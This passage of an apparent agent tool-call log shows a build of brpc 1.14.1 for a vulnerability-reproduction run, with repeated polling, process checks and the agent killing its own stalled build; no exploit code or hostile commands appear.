      "timestamp": "2026-01-21T00:00:56.046522Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 265.6,
        "returncode": null
      }
    },
    {
      "index": 137,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:01:02.912323Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 272.5,
        "returncode": null
      }
    },
    {
      "index": 138,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:01:10.893068Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 280.5,
        "returncode": null
      }
    },
    {
      "index": 139,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:01:18.264637Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 287.8,
        "returncode": null
      }
    },
    {
      "index": 140,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:01:28.423838Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 298.0,
        "returncode": null
      }
    },
    {
      "index": 141,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:01:37.146856Z",
      "duration": 0.024603601999842795,
      "request": {
        "command": "ps -o pid,etimes,cmd -p 29007,29010,29030",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "  PID ELAPSED CMD\n29007     299 make -j2\n29010     299 make -s -f CMakeFiles/Makefile2 all\n29030     297 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 142,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:01:45.067779Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 314.6,
        "returncode": null
      }
    },
    {
      "index": 143,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:01:53.120749Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 322.7,
        "returncode": null
      }
    },
    {
      "index": 144,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:02:02.880695Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 332.4,
        "returncode": null
      }
    },
    {
      "index": 145,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:02:08.781314Z",
      "duration": 0.022969929999817396,
      "request": {
        "command": "ps -o pid,etimes,cmd -p 29007,29010,29030",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "  PID ELAPSED CMD\n29007     330 make -j2\n29010     330 make -s -f CMakeFiles/Makefile2 all\n29030     329 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 146,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:02:16.118496Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 345.7,
        "returncode": null
      }
    },
    {
      "index": 147,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:02:37.701102Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 367.3,
        "returncode": null
      }
    },
    {
      "index": 148,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:02:44.435873Z",
      "duration": 0.0351372789996276,
      "request": {
        "command": "ps -ef | grep \"c++\" | grep -v grep | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29993 29030  0 Jan20 ?        00:00:00 /bin/sh -c cd /home/user/pruva/work/brpc-1.14.1/build/src && /usr/bin/c++  -I/home/user/pruva/work/brpc-1.14.1/src -I/home/user/pruva/work/brpc-1.14.1/build -I/home/user/pruva/work/brpc-1.14.1/build/src -DBRPC_WITH_GLOG=0 -DBRPC_WITH_RDMA=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -DBTHREAD_USE_FAST_PTHREAD_MUTEX -D__const__=__unused__ -D_GNU_SOURCE -DUSE_SYMBOLIZE -DNO_TCMALLOC -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -DBRPC_REVISION=\\\"1.14.1\\|HEAD\\|9049685d\\|2025-08-02T16:43:47+08:00\\\" -D__STRICT_ANSI__ -g  -O2 -pipe -Wall -W -fPIC -fstrict-aliasing -Wno-invalid-offsetof -Wno-unused-parameter -fno-omit-frame-pointer -msse4 -msse4.2 -Wno-aligned-new -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o -MF CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o.d -o CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o -c /home/user/pruva/work/brpc-1.14.1/src/brpc/policy/baidu_rpc_protocol.cpp\nroot     29994 29993  0 Jan20 ?        00:00:00 /usr/bin/c++ -I/home/user/pruva/work/brpc-1.14.1/src -I/home/user/pruva/work/brpc-1.14.1/build -I/home/user/pruva/work/brpc-1.14.1/build/src -DBRPC_WITH_GLOG=0 -DBRPC_WITH_RDMA=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -DBTHREAD_USE_FAST_PTHREAD_MUTEX -D__const__=__unused__ -D_GNU_SOURCE -DUSE_SYMBOLIZE -DNO_TCMALLOC -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -DBRPC_REVISION=\"1.14.1|HEAD|9049685d|2025-08-02T16:43:47+08:00\" -D__STRICT_ANSI__ -g -O2 -pipe -Wall -W -fPIC -fstrict-aliasing -Wno-invalid-offsetof -Wno-unused-parameter -fno-omit-frame-pointer -msse4 -msse4.2 -Wno-aligned-new -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o -MF CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o.d -o CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o -c /home/user/pruva/work/brpc-1.14.1/src/brpc/policy/baidu_rpc_protocol.cpp\nroot     30023 29030  0 Jan20 ?        00:00:00 /bin/sh -c cd /home/user/pruva/work/brpc-1.14.1/build/src && /usr/bin/c++  -I/home/user/pruva/work/brpc-1.14.1/src -I/home/user/pruva/work/brpc-1.14.1/build -I/home/user/pruva/work/brpc-1.14.1/build/src -DBRPC_WITH_GLOG=0 -DBRPC_WITH_RDMA=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -DBTHREAD_USE_FAST_PTHREAD_MUTEX -D__const__=__unused__ -D_GNU_SOURCE -DUSE_SYMBOLIZE -DNO_TCMALLOC -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -DBRPC_REVISION=\\\"1.14.1\\|HEAD\\|9049685d\\|2025-08-02T16:43:47+08:00\\\" -D__STRICT_ANSI__ -g  -O2 -pipe -Wall -W -fPIC -fstrict-aliasing -Wno-invalid-offsetof -Wno-unused-parameter -fno-omit-frame-pointer -msse4 -msse4.2 -Wno-aligned-new -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o -MF CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o.d -o CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o -c /home/user/pruva/work/brpc-1.14.1/src/brpc/policy/crc32c_checksum.cpp\nroot     30024 30023  0 Jan20 ?        00:00:00 /usr/bin/c++ -I/home/user/pruva/work/brpc-1.14.1/src -I/home/user/pruva/work/brpc-1.14.1/build -I/home/user/pruva/work/brpc-1.14.1/build/src -DBRPC_WITH_GLOG=0 -DBRPC_WITH_RDMA=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -DBTHREAD_USE_FAST_PTHREAD_MUTEX -D__const__=__unused__ -D_GNU_SOURCE -DUSE_SYMBOLIZE -DNO_TCMALLOC -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -DBRPC_REVISION=\"1.14.1|HEAD|9049685d|2025-08-02T16:43:47+08:00\" -D__STRICT_ANSI__ -g -O2 -pipe -Wall -W -fPIC -fstrict-aliasing -Wno-invalid-offsetof -Wno-unused-parameter -fno-omit-frame-pointer -msse4 -msse4.2 -Wno-aligned-new -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o -MF CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o.d -o CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o -c /home/user/pruva/work/brpc-1.14.1/src/brpc/policy/crc32c_checksum.cpp\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 149,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:02:52.067217Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 381.6,
        "returncode": null
      }
    },
    {
      "index": 150,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:03:04.915386Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 394.5,
        "returncode": null
      }
    },
    {
      "index": 151,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:03:12.211442Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 401.8,
        "returncode": null
      }
    },
    {
      "index": 152,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:03:20.155868Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 409.7,
        "returncode": null
      }
    },
    {
      "index": 153,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:03:26.519905Z",
      "duration": 0.02549915100007638,
      "request": {
        "command": "ps -o pid,etimes,cmd -p 29007,29010,29030",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "  PID ELAPSED CMD\n29007     408 make -j2\n29010     408 make -s -f CMakeFiles/Makefile2 all\n29030     406 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 154,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:03:34.177256Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 423.7,
        "returncode": null
      }
    },
    {
      "index": 155,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:03:49.963489Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 439.5,
        "returncode": null
      }
    },
    {
      "index": 156,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:03:57.061425Z",
      "duration": 0.03605113899993739,
      "request": {
        "command": "ps -ef | grep \"brpc-1.14.1/build/src\" | grep -v grep | wc -l",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "8\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 157,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:04:03.870440Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 453.4,
        "returncode": null
      }
    },
    {
      "index": 158,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:04:09.389251Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 459.0,
        "returncode": null
      }
    },
    {
      "index": 159,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:04:16.927473Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 466.5,
        "returncode": null
      }
    },
    {
      "index": 160,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:04:26.216880Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 475.8,
        "returncode": null
      }
    },
    {
      "index": 161,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:04:47.515184Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 497.1,
        "returncode": null
      }
    },
    {
      "index": 162,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:04:54.993308Z",
      "duration": 0.023254093999639736,
      "request": {
        "command": "ps -o pid,etimes,cmd -p 29007,29010,29030",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "  PID ELAPSED CMD\n29007     496 make -j2\n29010     496 make -s -f CMakeFiles/Makefile2 all\n29030     495 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 163,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:05:02.112593Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 511.7,
        "returncode": null
      }
    },
    {
      "index": 164,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:05:09.723295Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 519.3,
        "returncode": null
      }
    },
    {
      "index": 165,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:05:17.654579Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 527.2,
        "returncode": null
      }
    },
    {
      "index": 166,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:05:24.729964Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 534.3,
        "returncode": null
      }
    },
    {
      "index": 167,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:05:33.137839Z",
      "duration": 0.03535458400074276,
      "request": {
        "command": "ps -ef | grep \"brpc-1.14.1/build/src\" | grep -v grep | wc -l",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "8\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 168,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:05:42.253461Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 551.8,
        "returncode": null
      }
    },
    {
      "index": 169,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:05:48.453789Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 558.0,
        "returncode": null
      }
    },
    {
      "index": 170,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:05:56.435302Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 566.0,
        "returncode": null
      }
    },
    {
      "index": 171,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:06:05.191953Z",
      "duration": 0.03067903600003774,
      "request": {
        "command": "ps -o pid,etimes,cmd -p 29007,29010,29030",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "  PID ELAPSED CMD\n29007     567 make -j2\n29010     567 make -s -f CMakeFiles/Makefile2 all\n29030     565 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 172,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:06:13.768474Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 583.3,
        "returncode": null
      }
    },
    {
      "index": 173,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:06:20.689488Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 590.3,
        "returncode": null
      }
    },
    {
      "index": 174,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:06:29.286009Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "running",
        "elapsed": 598.9,
        "returncode": null
      }
    },
    {
      "index": 175,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:06:37.385438Z",
      "duration": 0.037198093000370136,
      "request": {
        "command": "ps -ef | grep \"brpc-1.14.1/build/src\" | grep -v grep | wc -l",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "8\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 176,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:06:44.981074Z",
      "duration": 0.0,
      "request": {
        "task_id": "55bae2a8"
      },
      "response": {
        "task_id": "55bae2a8",
        "status": "timeout",
        "elapsed": 614.5,
        "returncode": null
      }
    },
    {
      "index": 177,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:06:53.523561Z",
      "duration": 0.033885003000250435,
      "request": {
        "command": "ps -ef | grep reproduction_steps.sh | grep -v grep",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     28719     1  0 Jan20 ?        00:00:00 bash /home/user/pruva/repro/reproduction_steps.sh\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 178,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:07:09.939682Z",
      "duration": 0.034022230000118725,
      "request": {
        "command": "ps -ef | grep make | grep -v grep | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29007 28719  0 Jan20 ?        00:00:00 make -j2\nroot     29010 29007  0 Jan20 ?        00:00:00 make -s -f CMakeFiles/Makefile2 all\nroot     29030 29010  0 Jan20 ?        00:00:00 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 179,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:07:38.297675Z",
      "duration": 20.040373075999923,
      "request": {
        "command": "sleep 20 && ps -ef | grep make | grep -v grep | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29007 28719  0 Jan20 ?        00:00:00 make -j2\nroot     29010 29007  0 Jan20 ?        00:00:00 make -s -f CMakeFiles/Makefile2 all\nroot     29030 29010  0 Jan20 ?        00:00:00 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 180,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:08:46.471869Z",
      "duration": 60.04228978899937,
      "request": {
        "command": "sleep 60 && ps -ef | grep make | grep -v grep | head -n 5",
        "timeout": 90.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29007 28719  0 Jan20 ?        00:00:00 make -j2\nroot     29010 29007  0 Jan20 ?        00:00:00 make -s -f CMakeFiles/Makefile2 all\nroot     29030 29010  0 Jan20 ?        00:00:00 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 181,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:08:53.603279Z",
      "duration": 0.035168549999980314,
      "request": {
        "command": "ps -ef | grep \"/usr/bin/c++\" | grep -v grep | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29993 29030  0 Jan20 ?        00:00:00 /bin/sh -c cd /home/user/pruva/work/brpc-1.14.1/build/src && /usr/bin/c++  -I/home/user/pruva/work/brpc-1.14.1/src -I/home/user/pruva/work/brpc-1.14.1/build -I/home/user/pruva/work/brpc-1.14.1/build/src -DBRPC_WITH_GLOG=0 -DBRPC_WITH_RDMA=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -DBTHREAD_USE_FAST_PTHREAD_MUTEX -D__const__=__unused__ -D_GNU_SOURCE -DUSE_SYMBOLIZE -DNO_TCMALLOC -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -DBRPC_REVISION=\\\"1.14.1\\|HEAD\\|9049685d\\|2025-08-02T16:43:47+08:00\\\" -D__STRICT_ANSI__ -g  -O2 -pipe -Wall -W -fPIC -fstrict-aliasing -Wno-invalid-offsetof -Wno-unused-parameter -fno-omit-frame-pointer -msse4 -msse4.2 -Wno-aligned-new -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o -MF CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o.d -o CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o -c /home/user/pruva/work/brpc-1.14.1/src/brpc/policy/baidu_rpc_protocol.cpp\nroot     29994 29993  0 Jan20 ?        00:00:00 /usr/bin/c++ -I/home/user/pruva/work/brpc-1.14.1/src -I/home/user/pruva/work/brpc-1.14.1/build -I/home/user/pruva/work/brpc-1.14.1/build/src -DBRPC_WITH_GLOG=0 -DBRPC_WITH_RDMA=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -DBTHREAD_USE_FAST_PTHREAD_MUTEX -D__const__=__unused__ -D_GNU_SOURCE -DUSE_SYMBOLIZE -DNO_TCMALLOC -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -DBRPC_REVISION=\"1.14.1|HEAD|9049685d|2025-08-02T16:43:47+08:00\" -D__STRICT_ANSI__ -g -O2 -pipe -Wall -W -fPIC -fstrict-aliasing -Wno-invalid-offsetof -Wno-unused-parameter -fno-omit-frame-pointer -msse4 -msse4.2 -Wno-aligned-new -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o -MF CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o.d -o CMakeFiles/SOURCES_LIB.dir/brpc/policy/baidu_rpc_protocol.cpp.o -c /home/user/pruva/work/brpc-1.14.1/src/brpc/policy/baidu_rpc_protocol.cpp\nroot     30023 29030  0 Jan20 ?        00:00:00 /bin/sh -c cd /home/user/pruva/work/brpc-1.14.1/build/src && /usr/bin/c++  -I/home/user/pruva/work/brpc-1.14.1/src -I/home/user/pruva/work/brpc-1.14.1/build -I/home/user/pruva/work/brpc-1.14.1/build/src -DBRPC_WITH_GLOG=0 -DBRPC_WITH_RDMA=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -DBTHREAD_USE_FAST_PTHREAD_MUTEX -D__const__=__unused__ -D_GNU_SOURCE -DUSE_SYMBOLIZE -DNO_TCMALLOC -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -DBRPC_REVISION=\\\"1.14.1\\|HEAD\\|9049685d\\|2025-08-02T16:43:47+08:00\\\" -D__STRICT_ANSI__ -g  -O2 -pipe -Wall -W -fPIC -fstrict-aliasing -Wno-invalid-offsetof -Wno-unused-parameter -fno-omit-frame-pointer -msse4 -msse4.2 -Wno-aligned-new -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o -MF CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o.d -o CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o -c /home/user/pruva/work/brpc-1.14.1/src/brpc/policy/crc32c_checksum.cpp\nroot     30024 30023  0 Jan20 ?        00:00:00 /usr/bin/c++ -I/home/user/pruva/work/brpc-1.14.1/src -I/home/user/pruva/work/brpc-1.14.1/build -I/home/user/pruva/work/brpc-1.14.1/build/src -DBRPC_WITH_GLOG=0 -DBRPC_WITH_RDMA=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -DBTHREAD_USE_FAST_PTHREAD_MUTEX -D__const__=__unused__ -D_GNU_SOURCE -DUSE_SYMBOLIZE -DNO_TCMALLOC -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -D__STDC_CONSTANT_MACROS -DBRPC_REVISION=\"1.14.1|HEAD|9049685d|2025-08-02T16:43:47+08:00\" -D__STRICT_ANSI__ -g -O2 -pipe -Wall -W -fPIC -fstrict-aliasing -Wno-invalid-offsetof -Wno-unused-parameter -fno-omit-frame-pointer -msse4 -msse4.2 -Wno-aligned-new -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o -MF CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o.d -o CMakeFiles/SOURCES_LIB.dir/brpc/policy/crc32c_checksum.cpp.o -c /home/user/pruva/work/brpc-1.14.1/src/brpc/policy/crc32c_checksum.cpp\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 182,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:11:02.384044Z",
      "duration": 120.04095202500048,
      "request": {
        "command": "sleep 120 && ps -ef | grep make | grep -v grep | head -n 5",
        "timeout": 150.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     29007 28719  0 Jan20 ?        00:00:00 make -j2\nroot     29010 29007  0 Jan20 ?        00:00:00 make -s -f CMakeFiles/Makefile2 all\nroot     29030 29010  0 Jan20 ?        00:00:00 make -s -f src/CMakeFiles/SOURCES_LIB.dir/build.make src/CMakeFiles/SOURCES_LIB.dir/build\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 183,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:11:17.344402Z",
      "duration": 0.04224946399972396,
      "request": {
        "command": "pkill -P 28719 || true; kill 28719 || true; pkill -f \"brpc-1.14.1/build/src\" || true",
        "timeout": 60.0
      },
      "response": {
        "returncode": -15,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 184,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:11:24.329177Z",
      "duration": 0.028626205999898957,
      "request": {
        "command": "ps -ef | grep reproduction_steps.sh | grep -v grep",
        "timeout": 60.0
      },
      "response": {
        "returncode": 1,
        "stdout": "",
        "stderr": "",
